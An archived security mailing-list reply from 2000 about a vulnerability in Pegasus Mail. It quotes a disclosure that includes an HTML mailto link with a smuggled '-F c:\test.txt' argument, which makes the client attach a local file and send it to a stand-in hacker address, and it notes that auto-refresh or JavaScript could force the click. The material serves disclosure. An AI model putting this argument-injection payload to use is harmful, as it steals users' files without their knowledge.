Re: Pegasus Mail

[Peter Pentchev <roam () ORBITEL BG>]

On Mon, Oct 02, 2000 at 10:45:26PM +0100, Imran Ghory wrote:
> When using the following html,
>
> <a href="mailto:hacker () hakersite com -F c:\test.txt"> Click
> here</a>
>
> When the user clicks on "Click here" Pegasus mail will
> automatically creates a message which has a copy of the file
> "c:\test.txt" and is addressed to "hacker () hakersite com" and
> queues it ready to be sent without any further user intervention.
>
> If instead of "hacker () hakersite com" we have a local user,
> "hacker" the message won't be queued but just sent immediately.
>
> As inorder to have files stolen the user would have to click on the
> dubious looking link, is this security risk serious ?

If it is not Pegasus Mail that is parsing the HTML, but some web broser,
which is merely using Pegasus as its mail agent, then yes, it is serious -
many ways have been demonstrated of forcing a user to follow a link.
Refresh with a 0 seconds timeout and JavaScript are the two that come
to mind immediately.

G'luck,
Peter

--
If you think this sentence is confusing, then change one pig.